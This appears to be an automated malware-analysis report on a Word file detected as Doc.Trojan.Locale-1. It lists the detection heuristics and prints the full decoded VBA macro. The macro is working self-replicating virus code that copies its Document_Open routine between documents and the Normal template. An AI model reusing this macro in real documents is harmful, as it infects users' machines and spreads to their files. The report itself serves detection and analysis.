MALICIOUS
168
Risk Score
Heuristics 4
-
ClamAV: Doc.Trojan.Locale-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Locale-1
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open()
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1629 bytes |
SHA-256: eac8d8121fd022df057f61a5db0a0c1e1fbbb2e3c24202a4539adc90e4d0c975 |
|||
|
Detection
ClamAV:
Doc.Trojan.Locale-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()
Set newDocument = Documents(1)
nextRoutine = "Document_Open"
Set prevDocument = NormalTemplate
Set nextDocument = newDocument
With nextDocument.VBProject.VBComponents
For I = 1 To .Count
If .Item(I).Type = 100 Then
With .Item(I).CodeModule
If Not .Find("Sub " + nextRoutine + "()", 1, 1, .CountOfLines, 10) Then
With prevDocument.VBProject.VBComponents.Item(1).CodeModule
codeString = .Lines(.ProcStartLine(nextRoutine, vbext_pk_Proc), .ProcCountLines(nextRoutine, vbext_pk_Proc))
End With
End If
.AddFromString codeString
.ReplaceLine 1, "Private Sub " + nextRoutine + "()"
If prevDocument Is NormalTemplate Then
.ReplaceLine 5, " Set prevDocument = ActiveDocument"
.ReplaceLine 6, " Set nextDocument = NormalTemplate"
Else
.ReplaceLine 5, " Set prevDocument = NormalTemplate"
.ReplaceLine 6, " Set nextDocument = newDocument"
End If
End With
End If
Next
End With
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.